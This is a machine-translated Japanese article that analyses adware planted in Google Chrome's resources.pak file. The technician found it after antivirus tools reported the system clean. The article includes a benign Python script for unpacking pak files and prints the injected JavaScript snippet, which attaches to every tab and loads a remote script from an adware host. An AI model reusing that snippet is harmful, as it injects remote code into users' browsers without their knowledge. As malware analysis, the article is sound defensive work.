新しいアドウェアはブラウザに直接統合されます

ブラウザ自体に埋め込まれた新しい種類のアドウェアが登場しました。



ブラウザーでの広告について苦情のある別のコンピューター-いつものように、ユーザーによると、何も始まって​​いませんが、事実は明らかです-広告はすべてのスロットからほぼすべてのサイトに出て、検索クエリが置き換えられます。 通常、これらの問題のほとんどは、 AntiSMSを使用して5分ですぐに解決されます。その後、プログラムのログがチェックされ、必要に応じて、ブラウザーのサードパーティ拡張機能のようにテールがクリアされますが、この場合はそうではありません。 すぐに通常のツールは何も役に立たず、アンチウイルスでさえシステムに問題が見られなかったので、面白くなった-広告はどこから来たのか?



手動操作の前に時間を節約するために、システムはAVZ、Dr.Web CureIt!で迅速にテストされました。 およびカスペルスキーウイルス駆除ツール-すべてがシステムの清浄度について報告され、広告が作業の背景に表示されていました。 特徴的に、他のすべてのブラウザーはシステムから削除され、Google Chromeのみが残り、新しい感染方法は一般的ではないため、最後に彼に疑いが生じました。



最初のステップは、4月8日と同じ法的デジタル署名を持つExpress Findの広告モジュールを見つけることでした。これはまったく新しいものでした。 彼は3つの自動開始ロケーションを同時に使用しましたが、削除後も奇跡的に広告が表示され続けました。 さらなる調査の結果、彼女は新しいプロファイルを作成するときでさえ残っていることが明らかになりました。 以前はそこにアドウェアが落ち着いていましたが、ここでは、開発者が広告をユーザーに任意のプロファイルと任意のアカウントで同伴するように創造的であると決めました。



次に、Google Chromeがインストールされているフォルダー自体を調べました。 すべてがきれいに見えます-すべてのファイルはデジタル署名されており、異常なものはありません。 ただし、フォルダの名前が変更されたことを確認し、すぐに同じバージョンの新しいクロムをインストールしました。 次に、resources.pakファイルは元のファイルとは異なり、問題はここにあることが判明しました。 検証のためにリソースがすぐに交換され、すべてが確認されました-犯人が見つかりました。 リソースの解凍に関する簡単な検索で、次のPythonスクリプトが示されました。



import collections import struct import sys def ReadFile(filename, encoding): mode = 'rb' if encoding == 0 else 'rU' with open(filename, mode) as f: data = f.read() if encoding not in (0, 1): data = data.decode(encoding) return data PACK_FILE_VERSION = 4 HEADER_LENGTH = 2 * 4 + 1 # Two uint32s. (file version, number of entries) and # one uint8 (encoding of text resources) def UnpackDataPack(input_file): """Reads a data pack file and returns a dictionary.""" data = ReadFile(input_file, 0) original_data = data # Read the header. version, num_entries, encoding = struct.unpack("<IIB", data[:HEADER_LENGTH]) if version != PACK_FILE_VERSION: print "Wrong file version in ", input_file raise WrongFileVersion resources = {} if num_entries == 0: return DataPackContents(resources, encoding) # Read the index and data. data = data[HEADER_LENGTH:] kIndexEntrySize = 2 + 4 # Each entry is a uint16 and a uint32. for _ in range(num_entries): id, offset = struct.unpack("<HI", data[:kIndexEntrySize]) data = data[kIndexEntrySize:] next_id, next_offset = struct.unpack("<HI", data[:kIndexEntrySize]) resources[id] = original_data[offset:next_offset] filetype = 'bin' fileheader = ''.join(original_data[offset:offset+1]) print ord(fileheader[0]) if fileheader == '<': filetype = 'html' if fileheader == '\x89': filetype = 'png' elif fileheader == '/': filetype = 'js' of = open('{0}.{1}'.format(id,filetype),'wb') of.write(original_data[offset:next_offset]) of.close() def main(): if len(sys.argv) > 1: UnpackDataPack(sys.argv[1]) if __name__ == '__main__': main()
      
      







彼は2つのバージョンのリソースを正常にアンパックし、比較後、アドウェアスクリプトの1つの先頭に次のブロックが追加されたことが判明しました。



 chrome.tabs.onUpdated.addListener( function(tabId,changeInfo,tab){ chrome.tabs.executeScript(tabId,{code:" if(!window.blgcran){ window.blgcran = true; var scr=document.createElement('script'); scr.src='https://expressfind-a.akamaihd.net/ExpressFind/cr?t=BLGC&g=ca4874d9-0a3e-4215-9772-67fb5ba1c08a'; document.head.appendChild(scr);} "})});
      
      







したがって、合法的なデジタル署名のある現在のhttpsサイトは、広告を読み込み、ウイルス対策を正常にバイパスします。 新しい実装方法では、システムからアドウェアを完全に削除した後でも、この方法が機能します。



All Articles